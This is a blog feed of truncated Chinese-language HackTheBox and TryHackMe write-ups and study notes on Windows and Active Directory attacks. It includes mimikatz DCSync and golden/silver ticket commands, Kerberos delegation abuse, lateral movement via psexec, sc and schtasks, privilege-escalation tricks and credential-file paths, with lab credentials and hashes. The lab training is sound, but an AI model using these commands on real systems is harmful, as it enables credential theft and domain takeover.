Super - Windows
type: channel
link: http://jzcheng.cn/tag/Windows/
items: [HackTheBox ProLabs] Dante Review
items: HackTheBox Nest （信息收集！信息收集）
items: [HTB-Sherlocks] Unit42 (Window Sysmon日志分析)
items: [学习笔记]THM-Persisting AD
items: [学习笔记]THM-Exploit AD
items: [学习笔记]THM-AD 横向移动
items: [学习笔记]THM-AD Enumeration
items: [学习笔记]THM-Windows Privilege Escalation
items: HackTheBox Timelapse LAPS提权
items: HackTheBox Support (RBCD学习)

[HackTheBox ProLabs] Dante Review
type: item
date: 2024-08-21T17:25:00+08:00
description: [button color="info" icon="" url="https://app.hackthebox.com/prolabs/overview/dante" type="round"]DANTE PROLABS Link[/button][scode type="yellow"]该靶机虽然是Beginner难度,但我也用了一周的时间来做以及消化其中的思路和方法[/scode][scode type="blue"]本篇文章不涉及任何Flag的透露。(但涉及一些环境的剧透)[/scode]简介Dante 是一个适合初学者的现代化 Pro Lab，提供学习常见渗透测试方法。Dante的机器有些老旧，过时，使用一些2021年之后的漏洞几乎可以通杀（Linux、Windows机器的PrivEsc），但毋庸置疑的是，Dante一个适合学习渗透思路和流程的优秀机器。在该Pro Labs中，可以学习到许多Web漏洞、Linux漏洞以及Windows漏洞，可以让我们熟练掌握现代化渗透测试工具的使用，如Metasploit框架，Cobalt Strike工具，多级代理工具的使用。在官方的介绍中，Dante是由14台机器组成（最后通关发现似乎只有13台，FW01未能到达），共计27个Flag。网络环境（Dante 是共享靶机，应该是每天重置一次，因此在打靶过程中要做好笔记，找好立足点，以便于靶机重置后能够快速开始接下来的渗透）完成Dante后，对Dante的网络环境做了一个简单的梳理，大概有 2 个子网网段(172.16.1.1/24和172.16.2.1/24),根据Dante的机器,做了一个简单的拓扑图多级网络, 因此需要进行尝试进行多层代理第一次打Dante使用ssh -D搭建socks5隧道,配合Proxychains进行渗透,但感觉太麻烦了,在全部打完后,了解到根据Ligolo-Ng,操作简单易上手,但对于Double Piovting,还是有些不太熟悉.通过Dante的网络环境,我也使用Cobalt Strike进行上线,结果如图:(cs似乎不支持linux 机器作为中转监听器,还没找到解决方法)建议与总结Dante 不难,主要在于信息收集,不要遗漏可能存在信息的地方.十几台机器之间也是有通用的地方,比如账号密码(凭据), 收集到的信息(凭据,端口等)要做好记录,可能存在漏洞的地方都要尝试一下,不用着急速通.这种存在多个网段/多台机器的环境,每拿到一个机器的权限,要记得尝试ping一下,查看是否存在其他存活机器.Dante的机器有些老了,可以先尝试使用一些危害比较大的漏洞(如ms17-010),之后可以尝试去找预期解法.Dante里还有几个二进制的题目(不会),但都可以非预期(bushi)

HackTheBox Nest （信息收集！信息收集）
type: item
date: 2024-08-07T20:22:32+08:00
description: 信息 系统Linux难度Easy状态退役IP/靶机地址https://app.hackthebox.com/machines/Nest$ nmap -p445,4386 -sC -sV 10.129.147.65 -oA nmapres/details PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: | Reporting Service V1.2 | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | Reporting Service V1.2 | Unrecognised command | Help: | Reporting Service V1.2 | This service allows users to run queries against databases using the legacy HQK format | AVAILABLE COMMANDS --- | LIST | SETDIR <Directory_Name> | RUNQUERY <Query_ID> | DEBUG <Password> |_ HELP <Command>初探4386端口$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C使用nc连接，挂起后没有反应使用telnet就可以了└─$ telnet 10.129.147.65 4386 Trying 10.129.147.65... Connected to 10.129.147.65. Escape character is '^]'. HQK Reporting Service V1.2 >help This service allows users to run queries against databases using the legacy HQK format --- AVAILABLE COMMANDS --- LIST SETDIR <Directory_Name> RUNQUERY <Query_ID> DEBUG <Password> HELP <Command>445端口$ smbclient -L \\10.129.147.65 $ crackmapexec smb 10.129.147.65 -u 'guest' -p '' --shares $ smbmap -u guest -p '' -H 10.129.147.65 [+] IP: 10.129.147.65:445 Name: 10.129.147.65 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ NO ACCESS Users READ ONLY $ smbclient -N \\\\10.129.147.65\\Data smb: \Shared\> get "Templates\HR\Welcome Email.txt" - Username: TempUser Password: welcome2019 $ smbclient -N \\\\10.129.147.65\\Users smb: \> ls Administrator C.Smith L.Frost R.Thompson TempUser // 使用新获得的凭据登陆可以获得更多信息 $ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Data smb: \> recurse smb: \> prompt sm…

[HTB-Sherlocks] Unit42 (Window Sysmon日志分析)
type: item
date: 2024-07-25T23:49:36+08:00
description: 分类难度DFIRVery EasySherlock ScenarioIn this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto's Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.学习目标:熟悉 Sysmon 日志和 常用的 EventID识别和分析 Windows 系统上的恶意活动UltraVNC 的后门版本前置知识Sysmon 是一项额外的服务，可以安装在 Windows 系统上，以提供更多的系统活动日志记录。它对于收集诸如具有完整命令行的进程事件、进程映像的哈希值、网络连接和注册表修改等内容特别有用。Sysmon 是高度可配置的，因此给定系统上将出现什么样的日志将取决于它的配置.EventIds:Microsoft EventIDsID事件 1Process creation进程创建2A process changed a file creation time进程修改文件创建时间3Network connection网络连接4Sysmon service state changedSysmon 服务状态改变5Process terminated进程终止6Driver loaded驱动已加载7Image loaded镜像已加载8CreateRemoteThread进程创建线程9RawAccessRead 10ProcessAccess进程访问11FileCreate文件创建12Registry Object create and delete创建和删除注册表对象13Registry Vault set注册表值设置14Registry Key and Value Rename注册表键值重命名15FileCreateStreamHash 16ServiceConfigurationChange服务配置更改17Pipe Created管道已创建18Pipe Connected管道已连接19WmiEventFilter activity detectedWmiEventFilter 活动检测20WmiEventConsumer activity detectedWmiEventConsumer 活动检测21WmiEventConsumerToFilter activity detected 22DNS query 23File Delete archived文件已删除（带存档）24New content in the clipboard 25Process image change 26File Delete logged文件已删除（无存档）27FileBlockExecutable 28FileBlockShredding 29FileExecutableDetected 255Error Q: 怎么分析evtx文件？A: 可以使用Windows自带的图形化界面事件查看器，或者命令行工具EvtxECmd.exeTask 1事件 ID 为 11 的事件日志有多少个？使用事件查看器 进行过滤答案： 56或者使用Powershell命令Get-WinEvent -Path '.\Microsoft-Windows-Sysmon-Operational.evtx' -FilterXPath "*[System[(EventID=11)]]" | Measure-Object再或者参考0xdf Blog,使用EvtxECmd.exe 进行分析$ EvtxECmd.exe -f .\Microsoft-Windows-Sysmon-Operational.evtx --json . // 生成一个json文件 // 使用 jq 处理数据 $cat 20240725114336_EvtxECmd_Output.json | jq -sc 'group_by(.EventId) | map({…

[学习笔记]THM-Persisting AD
type: item
date: 2024-07-18T18:36:00+08:00
description: THM Roomgrace.clarke Password1 ssh za\\grace.clarke@thmwrk1.za.tryhackme.loc Administrator tryhackmewouldnotguess1@ ZA ssh za\\administrator@thmwrk1.za.tryhackme.lochttps://codebeautify.org/ntlm-hash-generatorPersistence through Credentials (通过凭据)管理员权限// 针对单个账户 mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username> // 启用日志 mimikatz # log <username>_dcdump.txt // 域上的所有账户 mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all // 获取用户名 cat <username>_dcdump.txt | grep "SAM Username" // 获取hash cat <username>_dcdump.txt | grep "Hash NTLM"Persistence through Tickets (通过票证)金票 和 银票金票如果有krbtgt账户的哈希值,则可以创建Tickets不需要发送AS-REQ向KDC去验证身份使用krbtgt签署票据就可以验证TGT给定krbtgt的哈希值,可以欺骗TGT中的时间戳,使票证有效的时间延长所需:krbtgt ntlm哈希值Domain FQDN 【完全限定域名（英语：Fully qualified domain name）】Domain SID要模拟的用户名使用mimikatz伪造金票获取Domain SIDGet-ADDomain mimikatz # kerberos::golden /admin:St4rry /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt mimikatz # exit 可以使用klist进行验证清除票据在mimikatz 下运行 kerberos::purge借助klist klist purge可以通过简单地旋转KRBTGT密码两次来防御这种攻击旋转KRBTGT密码是指更改域控制器上KRBTGT账户的密码。使用Impacket-ticketer伪造金票ticketer.py -nthash 16f9af38fca3ada405386b3b57366082 -domain-sid S-1-5-21-3885271727-2693558621-2658995185 -domain za.tryhackme.loc Thisisuser export KRB5CCNAME=Thisisuser.ccache wmiexec.py -k -no-pass za.tryhackme.loc/administrator@thmdc.za.tryhackme.loc # 或者其他的，如psexec银票与金票相比，影响有限，伪造的是TGS当用户想要访问特定服务时会请求 TGS 票证TGS是在与KDC进行身份验证后创建的这意味着，银票永远不需要与 KDC 交谈只有攻击者和目标服务服务将在特定机器上运行TGS 将使用机器的哈希进行签名给定机器的密码哈希：作为假用户伪造 TGS更改票证中的组 SID将我们自己置于目标的特权本地群体中当拥有机器的访问权限时，修改密码轮换间隔（默认30天）mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-269…

[学习笔记]THM-Exploit AD
type: item
date: 2024-07-13T21:46:00+08:00
description: barbara.reid Password1 ssh za.tryhackme.loc\\barbara.reid@thmwrk1.za.tryhackme.loc ssh za.tryhackme.loc\\t2_robin.wyatt@thmserver1.za.tryhackme.lochttps://tryhackme.com/r/room/exploitingadBloodHound官方文档Permission Delegation(权限委派)权限委派利用通常被称为基于ACL的攻击。Active Directory允许管理员配置访问控制项（ACE），这些访问控制项会填充自定义访问控制列表（DACL），因此得名基于ACL的攻击。几乎任何AD对象都可以使用ACE进行保护，ACE描述了任何其他AD对象对目标对象的允许和拒绝权限。所以当前用户可以把其他用户加入到IT Support组中Add-AdGroupMember "IT SUPPORT" -Members "UserName"失败报错access denied,表明您的 IT 支持组成员身份尚未通过网络完全复制。并不是立即生效，可能需要等待几分钟，gpupdate /force可能可以缩短等待时间IT Support组成员对Tier 2 Admins组的用户有ForceChangePassword权限，可以强制修改用户的密码// $passwd = CovertTo-SecureString "PasswordString" -AsPlaintext -Force Set-AdAccountPassword -Identity "UserName" -Reset -NewPassword $passwd 运行之后，目标用户的密码就被修改了Kerberos Delegation（Kerberos 委派）AD 委派 通常是指Kerberos委派，而不是Permission Delegation。Kerberos 委派的实际用途是使一个应用程序能够访问托管在不同服务器上的资源。一个例子是，一个Web服务器需要访问托管在数据库服务器上的SQL数据库，以支持它所托管的Web应用程序。没有委派的情况下，我们可能会使用一个AD服务账户，并为其提供直接访问数据库的权限。当对Web应用程序发出请求时，该服务账户将用于认证到数据库并获取信息。然而，我们可以允许将这个服务账户委派给SQL服务器服务。一旦用户登录到我们的Web应用程序，服务账户就会代表该用户请求访问数据库。这意味着用户只能访问他们有相关权限的数据，而不需要为服务账户本身提供任何数据库权限。约束委派和无约束委派 （Constrained vs Unconstrained）无约束委派：只要用户设置了 TRUSTED_FOR_DELEGATION 标志，主机对其可以代表连接的用户访问的资源没有限制。用户连接后，主机会为用户请求 TGT 并将其缓存在本地以供将来使用。有了 TGT（票据授予票据），攻击者可以继续访问该 TGT 所属用户可以访问的任何资源。约束委派：限制了服务账户可以代表用户请求的服务类型。约束委派限制了帐户可以委派的服务，从而限制了帐户被泄露时的风险HTTP、CIFS、LDAP、HOST、MSSQL。基于资源的约束委派：（Resource-Based Constrained Delegation) 指定哪些对象可以委托给它，而不是指定哪个对象可以委托给哪个服务。mimikatz.exe mimikatz # token::elevate mimikatz # lsadump::secrets // 可以获取用户svcIIS的密码Password1@# kekeo 导出TGT kekeo.exe kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@ kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones // user为想要模拟的用户 # 然后再用mimikatz 导入TGT mimikatz # privilege::debug mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi mimikatz # kerberos::ptt TGS_t1_trevor.j…

[学习笔记]THM-AD 横向移动
type: item
date: 2024-07-09T21:49:00+08:00
description: Room Linkcurl http://distributor.za.tryhackme.com/creds -XPOST -d '__VIEWSTATE=mCapFrY0zRi%2Fx2BdkuFGt96H0EHOvPUUryY8ydQZmKI%2FRqeX4s1tuiBLZcrFua6Q2fK2r7DD2R7micbzJzCbin3H0mjJmYH%2BywtCRzG6XlI%3D&__VIEWSTATEGENERATOR=387396DE&__EVENTVALIDATION=x90rJRIPKn7xtnQjF1dxde6bF5ut7bePuWSuL%2BYw9HmjC4HTyVftBF49%2FgEn9dpH%2F2zE2dyr%2FVyh767EZgrPGmseAs8Ne%2BE6NqDt7BVCANtWxX%2Fs7N45VYw5P6mWBOnV&btnTestSettings=Get+Credentials' Username: suzanne.morris Password: P@ssw0rdPsexec, WinRM, sc, schtasksPsexec：Ports：445/TCP (SMB)Group Memberships: Administrators 工作方式： 连接到 Admin$ 共享并上传服务二进制文件，连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务，创建一些命名管道来处理 stdin/stdout/stderr。psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exeWinRM：Ports：5895/TCP (WinRM HTTP) | 5896/TCP (WinRM HTTPS)Group Memberships: Remote Management UsersWindows 远程管理 (WinRM) 是一种基于 Web 的协议，用于远程向 Windows 主机发送 Powershell 命令。winrs.exe -u:Administrator -p:Mypass123 -r:target cmd // Poweshell Command $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Enter-PSSession -Computername TARGET -Credential $credential Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}sc：Ports：135/TCP, 49152-65535/TCP (DCE/RPC) | 445/TCP | 139/TCPGroup Memberships: Administrators将尝试使用DCE/RPC进行连接。客户端首先会连接到位于135端口的端点映射器（EPM），它充当可用RPC端点的目录，并请求SVCCTL服务程序的信息。然后，EPM将响应SVCCTL的IP地址和连接端口，这通常是在49152-65535范围内的动态端口。如果后一个连接失败，sc 将尝试通过端口 445 (SMB) 或 139（基于 NetBIOS 的 SMB）上的 SMB 命名管道到达 SVCCTL。// 服务启动时执行net user 命令创建一个新用户 sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto sc.exe \\TARGET start THMservice sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMserviceschtasks：schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s TARGET /run /TN "THMtask1" scht…

[学习笔记]THM-AD Enumeration
type: item
date: 2024-07-08T16:45:00+08:00
description: runas.exe /netonly /u:username cmd.exe `/netonly` 选项用于在不加入域的情况下进行网络身份验证。Q: dir \\<Domain Name>\SYSVOL 和 dir \\<DC IP>\SYSVOL之间有什么区别A: 使用的身份验证方法。前者使用Kerberos身份验证【由于 Kerberos 身份验证使用票证中嵌入的主机名】，后者使用NTLM身份验证（更隐蔽）。net user UserName # 存在于本地用户帐户数据库 net user UserName /domain # 查询域控制器以获取该用户的详细信息 net group /domain # net group 命令只能在域控中使用 net account /domain # 密码策略AD-cmdlet: https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-psGet-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A Get-ADGroup -Identity Administrators -Server za.tryhackme.com Get-ADGroupMember -Identity Administrators -Server za.tryhackme.comBloodHound - SharpHound => 版本需要对应BloodHound 文档 Overview摘要信息，帐户的活动会话数以及是否可以达到高价值目标Node PropertiesAD 帐户的信息：显示名称和标题Extra Properties更详细的 AD 信息：可分辨名称和帐户的创建时间Group Membership组成员身份：有关帐户所属组的信息Local Admin Rights本地管理员权限：具有管理权限的已加入域的主机的信息Execution Rights执行权限: 特殊权限的信息Outbound Control Rights出站控制权限: 有权修改其属性的 AD 对象的信息Inbound Control Rights入站控制权限: 可修改此帐户属性的 AD 对象的信息

[学习笔记]THM-Windows Privilege Escalation
type: item
date: 2024-07-07T17:07:00+08:00
description: Room Linkresmon.exe - 资源监视器 msinfo32.exe - 打开系统信息 compmgmt.msc - 计算机管理 UserAccountControlSettings.exe - 用户账户控制设置 control.exe - 控制面板 regedt32.exe - 注册表编辑器 takeown.exe - 获取文件或目录的所有权 accesschk.exe - 检查DACLwindows 查找可能存在的密码配置文件 C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml powershell 历史命令 %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt $env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 凭据管理器 cmdkey /list IIS 配置文件（IIS Configuration） type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString runas 利用已保存的密码 runas /savecred /user:admin cmd.exe Putty 保存密码到注册表 reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s提权-初级计划任务（Scheduled Task）schtasks.exe /query /tn vulntask /fo list /v => 关注 Task To Run: （运行的程序位置） icacls.exe file_path => 查看文件的权限 schtasks.exe /run /tn vulntask => 重启服务 ----------------------------- AlwaysInstallElevated 策略： 允许 MSI（Microsoft Installer）安装包在提升的权限下安装，即使用户没有管理员权限。 C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer 利用： msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi滥用服务错误配置服务可执行文件可被修改sc qc ServerName => 关注 BINARY_PATH_NAME 和SERVICE_START_NAME=> 如果文件可以被修改,覆盖，然后重启服务=>sc stop ServerName,sc start ServerName未加引号的服务路径比较两个服务的BINARY_PATH_NAMEa. BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -serviceb. BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exea的路径是被双引号包裹，b没有，解析顺序依次如下命令参数1参数2C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exeC:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe 这与命令提示符分析命令的方式有关。通常，当您发送命令时，空格用作参数分隔符，除非它们是带引号的字符串的一部分。因此可以在C:\MyPrograms\ 目录下创建可执行文件Disk.exe => 重启服务（需要授予其全部权限icacls C:\MyProgram…

HackTheBox Timelapse LAPS提权
type: item
date: 2024-04-10T19:06:00+08:00
description: 靶机信息 系统Windows难度Easy状态退役网址https://app.hackthebox.com/machines/Timelapse提权知识点zip爆破, pfx爆破,pfx提取公钥和证书, LAPSSMB发现压缩包爆破,获得pfx,爆破密码,提取公钥,证书,连接启动了ssl的winrm(5986端口)Powershell历史记录获得另一用户密码,LAPS读取密码,登录Administrator端口扫描└──╼ #nmap -sS -A -p- 10.129.227.113 -Pn Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-09 04:39 BST Nmap scan report for 10.129.227.113 Host is up (0.081s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-09 11:41:41Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 | tls-alpn: |_ http/1.1 |_ssl-date: 2024-04-09T11:43:15+00:00; +7h59m59s from scanner time. |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49737/tcp open msrpc Microsoft Windows RPC 50248/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 2 hops Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows H…

HackTheBox Support (RBCD学习)
type: item
date: 2024-04-09T10:05:00+08:00
description: 靶机信息 系统WindowsIP/难度Easy (不会)地址https://app.hackthebox.com/machines/SupportC#/Net 反编译基于 Kerberos 基于资源的约束委派攻击端口扫描PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-08 07:11:02Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49683/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC 49747/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsSMB_445 匿名登陆smbclient和smbmap等└─\ ✨ smbclient -L \\10.129.230.181 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. └─\ ✨ smbmap -u ' ' -p '' -H 10.129.230.181 [+] IP: 10.129.230.181:445 Name: 10.129.230.181 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share support-tools READ ONLY support staff tools SYSVOL NO ACCESS Logon server share重点关注support-tools共享文件夹└─\ ✨ root@Kali /m/e/h/Support…